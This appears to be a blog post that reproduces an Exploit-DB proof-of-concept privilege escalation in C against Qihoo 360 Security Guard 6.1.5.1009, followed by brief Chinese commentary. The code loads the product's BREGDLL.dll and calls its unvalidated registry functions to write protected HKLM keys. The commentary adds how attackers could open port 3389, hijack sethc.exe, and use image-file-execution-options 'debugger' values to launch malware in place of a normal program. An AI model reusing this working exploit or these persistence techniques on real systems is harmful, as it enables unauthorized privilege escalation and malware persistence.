Qihoo 360 Security Guard 6.1.5.1009 - breg device drivers Privilege Escalation

https://www.exploit-db.com/exploits/11317/

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
#include <windows.h>

typedef BOOL (WINAPI *INIT_REG_ENGINE)();
typedef LONG (WINAPI *BREG_DELETE_KEY)(HKEY hKey, LPCSTR lpSubKey);
typedef LONG (WINAPI *BREG_OPEN_KEY)(HKEY hKey, LPCSTR lpSubKey, PHKEY phkResult);
typedef LONG (WINAPI *BREG_CLOSE_KEY)(HKEY hKey);
typedef LONG (WINAPI *REG_SET_VALUE_EX)(HKEY hKey, LPCSTR lpValueName, DWORD Reserved, DWORD dwType, const BYTE* lpData, DWORD cbData);

BREG_DELETE_KEY BRegDeleteKey = NULL;
BREG_OPEN_KEY BRegOpenKey = NULL;
BREG_CLOSE_KEY BRegCloseKey = NULL;
REG_SET_VALUE_EX BRegSetValueEx = NULL;

#define AppPath "Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\360safe.exe"

#define TestDeleteKey HKEY_LOCAL_MACHINE
#define TestDeleteRegPath "Software\\360Safe\\Update"

#define TestSetKey HKEY_LOCAL_MACHINE
#define TestSetPath "Software\\360Safe"

BOOL InitBRegDll()
{
LONG lResult;
HKEY hKey;

CHAR cPath[MAX_PATH + 32] = { 0 };
DWORD dwPathLen = MAX_PATH;

lResult = RegOpenKeyA(HKEY_LOCAL_MACHINE, AppPath, &hKey);
if (FAILED(lResult))
return FALSE;

DWORD dwType = REG_SZ;
lResult = RegQueryValueExA(hKey, "Path", NULL, &dwType, (LPBYTE)cPath, &dwPathLen);
RegCloseKey(hKey);
if (FAILED(lResult))
return FALSE;

strcat(cPath, "\\deepscan\\BREGDLL.dll<file://\\deepscan\\BREGDLL.dll>");

HMODULE modBReg = LoadLibraryA(cPath);
if (!modBReg)
return FALSE;

INIT_REG_ENGINE InitRegEngine = (INIT_REG_ENGINE)GetProcAddress(modBReg, "InitRegEngine");
BRegDeleteKey = (BREG_DELETE_KEY)GetProcAddress(modBReg, "BRegDeleteKey");
BRegOpenKey = (BREG_OPEN_KEY)GetProcAddress(modBReg, "BRegOpenKey");
BRegCloseKey = (BREG_CLOSE_KEY)GetProcAddress(modBReg, "BRegCloseKey");
BRegSetValueEx = (REG_SET_VALUE_EX)GetProcAddress(modBReg, "BRegSetValueEx");

if (!InitRegEngine || !BRegDeleteKey || !BRegOpenKey || !BRegCloseKey || !BRegSetValueEx) {
FreeLibrary(modBReg);
return FALSE;
}

if (!InitRegEngine()) {
FreeLibrary(modBReg);
return FALSE;
}

return TRUE;
}

LONG TestSetRegKey()
{
HKEY hKey;
LONG lResult;

lResult = BRegOpenKey(TestSetKey, TestSetPath, &hKey);
if (FAILED(lResult))
return lResult;

DWORD dwType = REG_SZ;
static char szData[] = "TEST VALUE";
lResult = BRegSetValueEx(hKey, TestSetPath, NULL, dwType, (const BYTE *)&szData, (DWORD)sizeof(szData));
BRegCloseKey(hKey);

return lResult;
}

int main(int argc, char *argv[])
{
if (!InitBRegDll()) {
MessageBoxA(NULL, "Initialization BReg error&#65281;", "error", MB_ICONSTOP);
return 1;
}

if (FAILED(BRegDeleteKey(TestDeleteKey, TestDeleteRegPath))) {
MessageBoxA(NULL, "DeleteKey error&#65281;", "error", MB_ICONSTOP);
return 2;
}

if (FAILED(TestSetRegKey())) {
MessageBoxA(NULL, "SetRegKey error&#65281;", "error", MB_ICONSTOP);
return 3;
}

MessageBoxA(NULL, "Broke System Security Check&#65292;Gain Escalated Privileges&#65292;Successful exploit&#65281;", "Successful", MB_OK);
return 0;
}

利用函数是在InitBRegDll,之后就拥有了修改360的注册表的权限了

可以看到只是将360的问题dll进行LoadLibraryA,之后获取里面对注册表操作的函数,那么之后就拥有了设置本来没有权限的注册表的能力

由于没有那个版本的360,只能看漏洞战争里面的分析了

原来是360自己实现了一套Ntxxx函数,调用底层未文档化的函数,而没有进行任何验证,导致可以被其他程序任意调用。

那么攻击者可以通过这个来修改注册表打开3389端口,劫持sethc.exe,成功获得权限

我们查看漏洞利用程序,利用的就是映像劫持技术

映像劫持主要通过修改注册表中的HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Image File Execution Options/项来劫持正常的程序,比如有一个病毒 vires.exe 要劫持qq程序,它会在上面注册表的位置新建一个qq.exe项,再在这个项下面新建一个字符串的键 debugger把其值改为C:/WINDOWS/ SYSTEM32/VIRES.EXE(这里是病毒藏身的目录)即可。

自愿打赏专区